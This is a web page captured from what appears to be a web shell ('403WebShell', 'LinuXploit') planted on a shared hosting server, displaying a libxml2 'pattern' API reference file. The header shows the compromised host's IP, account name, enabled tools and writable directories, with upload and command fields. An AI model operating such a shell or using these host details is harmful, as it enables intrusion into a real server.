Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.118.24.176
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-libxml2/share/gtk-doc/html/libxml2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /opt/cpanel/ea-libxml2/share/gtk-doc/html/libxml2/libxml2-pattern.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>pattern: pattern expression handling</title>
<meta name="generator" content="Libxml2 devhelp stylesheet">
<link rel="start" href="index.html" title="libxml2 Reference Manual">
<link rel="up" href="general.html" title="API">
<link rel="stylesheet" href="style.css" type="text/css">
<link rel="chapter" href="general.html" title="API">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table class="navigation" width="100%" summary="Navigation header" cellpadding="2" cellspacing="2"><tr valign="middle">
<td><a accesskey="p" href="libxml2-parserInternals.html"><img src="left.png" width="24" height="24" border="0" alt="Prev"></a></td>
<td><a accesskey="u" href="general.html"><img src="up.png" width="24" height="24" border="0" alt="Up"></a></td>
<td><a accesskey="h" href="index.html"><img src="home.png" width="24" height="24" border="0" alt="Home"></a></td>
<td><a accesskey="n" href="libxml2-relaxng.html"><img src="right.png" width="24" height="24" border="0" alt="Next"></a></td>
<th width="100%" align="center">libxml2 Reference Manual</th>
</tr></table>
<h2><span class="refentrytitle">pattern</span></h2>
<p>pattern - pattern expression handling</p>
<p>allows to compile and test pattern expressions for nodes either in a tree or based on a parser state. </p>
<p>Author(s): Daniel Veillard </p>
<div class="refsynopsisdiv">
<h2>Synopsis</h2>
<pre class="synopsis">typedef struct _xmlPattern <a href="#xmlPattern">xmlPattern</a>;
typedef enum <a href="#xmlPatternFlags">xmlPatternFlags</a>;
typedef <a href="libxml2-pattern.html#xmlPattern">xmlPattern</a> * <a href="#xmlPatternPtr">xmlPatternPtr</a>;
typedef struct _xmlStreamCtxt <a href="#xmlStreamCtxt">xmlStreamCtxt</a>;
typedef <a href="libxml2-pattern.html#xmlStreamCtxt">xmlStreamCtxt</a> * <a href="#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a>;
void	<a href="#xmlFreePattern">xmlFreePattern</a>			(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp);
void	<a href="#xmlFreePatternList">xmlFreePatternList</a>		(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp);
void	<a href="#xmlFreeStreamCtxt">xmlFreeStreamCtxt</a>		(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> stream);
int	<a href="#xmlPatternCompileSafe">xmlPatternCompileSafe</a>		(const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * pattern, <br>					 <a href="libxml2-dict.html#xmlDict">xmlDict</a> * dict, <br>					 int flags, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> ** namespaces, <br>					 <a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> * patternOut);
int	<a href="#xmlPatternFromRoot">xmlPatternFromRoot</a>		(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp);
<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a>	<a href="#xmlPatternGetStreamCtxt">xmlPatternGetStreamCtxt</a>	(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp);
int	<a href="#xmlPatternMatch">xmlPatternMatch</a>			(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp, <br>					 <a href="libxml2-tree.html#xmlNodePtr">xmlNodePtr</a> node);
int	<a href="#xmlPatternMaxDepth">xmlPatternMaxDepth</a>		(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp);
int	<a href="#xmlPatternMinDepth">xmlPatternMinDepth</a>		(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp);
int	<a href="#xmlPatternStreamable">xmlPatternStreamable</a>		(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp);
<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a>	<a href="#xmlPatterncompile">xmlPatterncompile</a>	(const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * pattern, <br>					 <a href="libxml2-dict.html#xmlDict">xmlDict</a> * dict, <br>					 int flags, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> ** namespaces);
int	<a href="#xmlStreamPop">xmlStreamPop</a>			(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> stream);
int	<a href="#xmlStreamPush">xmlStreamPush</a>			(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> stream, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * ns);
int	<a href="#xmlStreamPushAttr">xmlStreamPushAttr</a>		(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> stream, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * ns);
int	<a href="#xmlStreamPushNode">xmlStreamPushNode</a>		(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> stream, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * ns, <br>					 int nodeType);
int	<a href="#xmlStreamWantsAnyNode">xmlStreamWantsAnyNode</a>		(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> streamCtxt);
</pre>
</div>
<div class="refsect1" lang="en"><h2>Description</h2></div>
<div class="refsect1" lang="en">
<h2>Details</h2>
<div class="refsect2" lang="en">
<div class="refsect2" lang="en">
<h3>
<a name="xmlPattern">Structure </a>xmlPattern</h3>
<pre class="programlisting">struct _xmlPattern {
The content of this structure is not made public by the API.
} xmlPattern;
</pre>
<p></p>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlPatternFlags">Enum </a>xmlPatternFlags</h3>
<pre class="programlisting">enum <a href="#xmlPatternFlags">xmlPatternFlags</a> {
    <a name="XML_PATTERN_DEFAULT">XML_PATTERN_DEFAULT</a> = 0 /* simple pattern match */
    <a name="XML_PATTERN_XPATH">XML_PATTERN_XPATH</a> = 1 /* standard XPath pattern */
    <a name="XML_PATTERN_XSSEL">XML_PATTERN_XSSEL</a> = 2 /* XPath subset for schema selector */
    <a name="XML_PATTERN_XSFIELD">XML_PATTERN_XSFIELD</a> = 4 /*  XPath subset for schema field */
};
</pre>
<p></p>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlPatternPtr">Typedef </a>xmlPatternPtr</h3>
<pre class="programlisting"><a href="libxml2-pattern.html#xmlPattern">xmlPattern</a> * xmlPatternPtr;
</pre>
<p></p>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlStreamCtxt">Structure </a>xmlStreamCtxt</h3>
<pre class="programlisting">struct _xmlStreamCtxt {
The content of this structure is not made public by the API.
} xmlStreamCtxt;
</pre>
<p></p>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlStreamCtxtPtr">Typedef </a>xmlStreamCtxtPtr</h3>
<pre class="programlisting"><a href="libxml2-pattern.html#xmlStreamCtxt">xmlStreamCtxt</a> * xmlStreamCtxtPtr;
</pre>
<p></p>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlFreePattern"></a>xmlFreePattern ()</h3>
<pre class="programlisting">void	xmlFreePattern			(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp)<br>
</pre>
<p>Free up the memory allocated by @comp</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody><tr>
<td><span class="term"><i><tt>comp</tt></i>:</span></td>
<td>an XSLT comp</td>
</tr></tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlFreePatternList"></a>xmlFreePatternList ()</h3>
<pre class="programlisting">void	xmlFreePatternList		(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp)<br>
</pre>
<p>Free up the memory allocated by all the elements of @comp</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody><tr>
<td><span class="term"><i><tt>comp</tt></i>:</span></td>
<td>an XSLT comp list</td>
</tr></tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlFreeStreamCtxt"></a>xmlFreeStreamCtxt ()</h3>
<pre class="programlisting">void	xmlFreeStreamCtxt		(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> stream)<br>
</pre>
<p>Free the stream context</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody><tr>
<td><span class="term"><i><tt>stream</tt></i>:</span></td>
<td>the stream context</td>
</tr></tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlPatternCompileSafe"></a>xmlPatternCompileSafe ()</h3>
<pre class="programlisting">int	xmlPatternCompileSafe		(const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * pattern, <br>					 <a href="libxml2-dict.html#xmlDict">xmlDict</a> * dict, <br>					 int flags, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> ** namespaces, <br>					 <a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> * patternOut)<br>
</pre>
<p>Compile a pattern. Available since 2.13.0.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>pattern</tt></i>:</span></td>
<td>the pattern to compile</td>
</tr>
<tr>
<td><span class="term"><i><tt>dict</tt></i>:</span></td>
<td>an optional dictionary for interned strings</td>
</tr>
<tr>
<td><span class="term"><i><tt>flags</tt></i>:</span></td>
<td>compilation flags, see <a href="libxml2-pattern.html#xmlPatternFlags">xmlPatternFlags</a>
</td>
</tr>
<tr>
<td><span class="term"><i><tt>namespaces</tt></i>:</span></td>
<td>the prefix definitions, array of [URI, prefix] or NULL</td>
</tr>
<tr>
<td><span class="term"><i><tt>patternOut</tt></i>:</span></td>
<td>output pattern</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>0 on success, 1 on error, -1 if a memory allocation failed.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlPatternFromRoot"></a>xmlPatternFromRoot ()</h3>
<pre class="programlisting">int	xmlPatternFromRoot		(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp)<br>
</pre>
<p>Check if the pattern must be looked at from the root.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>comp</tt></i>:</span></td>
<td>the precompiled pattern</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>1 if true, 0 if false and -1 in case of error</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlPatternGetStreamCtxt"></a>xmlPatternGetStreamCtxt ()</h3>
<pre class="programlisting"><a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a>	xmlPatternGetStreamCtxt	(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp)<br>
</pre>
<p>Get a streaming context for that pattern Use <a href="libxml2-pattern.html#xmlFreeStreamCtxt">xmlFreeStreamCtxt</a> to free the context.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>comp</tt></i>:</span></td>
<td>the precompiled pattern</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>a pointer to the context or NULL in case of failure</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlPatternMatch"></a>xmlPatternMatch ()</h3>
<pre class="programlisting">int	xmlPatternMatch			(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp, <br>					 <a href="libxml2-tree.html#xmlNodePtr">xmlNodePtr</a> node)<br>
</pre>
<p>Test whether the node matches the pattern</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>comp</tt></i>:</span></td>
<td>the precompiled pattern</td>
</tr>
<tr>
<td><span class="term"><i><tt>node</tt></i>:</span></td>
<td>a node</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>1 if it matches, 0 if it doesn't and -1 in case of failure</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlPatternMaxDepth"></a>xmlPatternMaxDepth ()</h3>
<pre class="programlisting">int	xmlPatternMaxDepth		(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp)<br>
</pre>
<p>Check the maximum depth reachable by a pattern</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>comp</tt></i>:</span></td>
<td>the precompiled pattern</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>-2 if no limit (using //), otherwise the depth, and -1 in case of error</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlPatternMinDepth"></a>xmlPatternMinDepth ()</h3>
<pre class="programlisting">int	xmlPatternMinDepth		(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp)<br>
</pre>
<p>Check the minimum depth reachable by a pattern, 0 mean the / or . are part of the set.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>comp</tt></i>:</span></td>
<td>the precompiled pattern</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>-1 in case of error otherwise the depth,</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlPatternStreamable"></a>xmlPatternStreamable ()</h3>
<pre class="programlisting">int	xmlPatternStreamable		(<a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a> comp)<br>
</pre>
<p>Check if the pattern is streamable i.e. xmlPatternGetStreamCtxt() should work.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>comp</tt></i>:</span></td>
<td>the precompiled pattern</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>1 if streamable, 0 if not and -1 in case of error.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlPatterncompile"></a>xmlPatterncompile ()</h3>
<pre class="programlisting"><a href="libxml2-pattern.html#xmlPatternPtr">xmlPatternPtr</a>	xmlPatterncompile	(const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * pattern, <br>					 <a href="libxml2-dict.html#xmlDict">xmlDict</a> * dict, <br>					 int flags, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> ** namespaces)<br>
</pre>
<p>Compile a pattern.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>pattern</tt></i>:</span></td>
<td>the pattern to compile</td>
</tr>
<tr>
<td><span class="term"><i><tt>dict</tt></i>:</span></td>
<td>an optional dictionary for interned strings</td>
</tr>
<tr>
<td><span class="term"><i><tt>flags</tt></i>:</span></td>
<td>compilation flags, see <a href="libxml2-pattern.html#xmlPatternFlags">xmlPatternFlags</a>
</td>
</tr>
<tr>
<td><span class="term"><i><tt>namespaces</tt></i>:</span></td>
<td>the prefix definitions, array of [URI, prefix] or NULL</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>the compiled form of the pattern or NULL in case of error</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlStreamPop"></a>xmlStreamPop ()</h3>
<pre class="programlisting">int	xmlStreamPop			(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> stream)<br>
</pre>
<p>push one level from the stream.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>stream</tt></i>:</span></td>
<td>the stream context</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>-1 in case of error, 0 otherwise.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlStreamPush"></a>xmlStreamPush ()</h3>
<pre class="programlisting">int	xmlStreamPush			(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> stream, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * ns)<br>
</pre>
<p>Push new data onto the stream. NOTE: if the call xmlPatterncompile() indicated a dictionary, then strings for name and ns will be expected to come from the dictionary. Both @name and @ns being NULL means the / i.e. the root of the document. This can also act as a reset. Otherwise the function will act as if it has been given an element-node.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>stream</tt></i>:</span></td>
<td>the stream context</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the current name</td>
</tr>
<tr>
<td><span class="term"><i><tt>ns</tt></i>:</span></td>
<td>the namespace name</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>-1 in case of error, 1 if the current state in the stream is a match and 0 otherwise.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlStreamPushAttr"></a>xmlStreamPushAttr ()</h3>
<pre class="programlisting">int	xmlStreamPushAttr		(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> stream, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * ns)<br>
</pre>
<p>Push new <a href="libxml2-SAX.html#attribute">attribute</a> data onto the stream. NOTE: if the call xmlPatterncompile() indicated a dictionary, then strings for name and ns will be expected to come from the dictionary. Both @name and @ns being NULL means the / i.e. the root of the document. This can also act as a reset. Otherwise the function will act as if it has been given an attribute-node.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>stream</tt></i>:</span></td>
<td>the stream context</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the current name</td>
</tr>
<tr>
<td><span class="term"><i><tt>ns</tt></i>:</span></td>
<td>the namespace name</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>-1 in case of error, 1 if the current state in the stream is a match and 0 otherwise.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlStreamPushNode"></a>xmlStreamPushNode ()</h3>
<pre class="programlisting">int	xmlStreamPushNode		(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> stream, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * ns, <br>					 int nodeType)<br>
</pre>
<p>Push new data onto the stream. NOTE: if the call xmlPatterncompile() indicated a dictionary, then strings for name and ns will be expected to come from the dictionary. Both @name and @ns being NULL means the / i.e. the root of the document. This can also act as a reset. Different from xmlStreamPush() this function can be fed with nodes of type: element-, attribute-, text-, cdata-section-, comment- and processing-instruction-node.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>stream</tt></i>:</span></td>
<td>the stream context</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the current name</td>
</tr>
<tr>
<td><span class="term"><i><tt>ns</tt></i>:</span></td>
<td>the namespace name</td>
</tr>
<tr>
<td><span class="term"><i><tt>nodeType</tt></i>:</span></td>
<td>the type of the node being pushed</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>-1 in case of error, 1 if the current state in the stream is a match and 0 otherwise.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlStreamWantsAnyNode"></a>xmlStreamWantsAnyNode ()</h3>
<pre class="programlisting">int	xmlStreamWantsAnyNode		(<a href="libxml2-pattern.html#xmlStreamCtxtPtr">xmlStreamCtxtPtr</a> streamCtxt)<br>
</pre>
<p>Query if the streaming pattern additionally needs to be fed with text-, cdata-section-, comment- and processing-instruction-nodes. If the result is 0 then only element-nodes and attribute-nodes need to be pushed.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>streamCtxt</tt></i>:</span></td>
<td>the stream context</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>1 in case of need of nodes of the above described types, 0 otherwise. -1 on API errors.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
</div>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit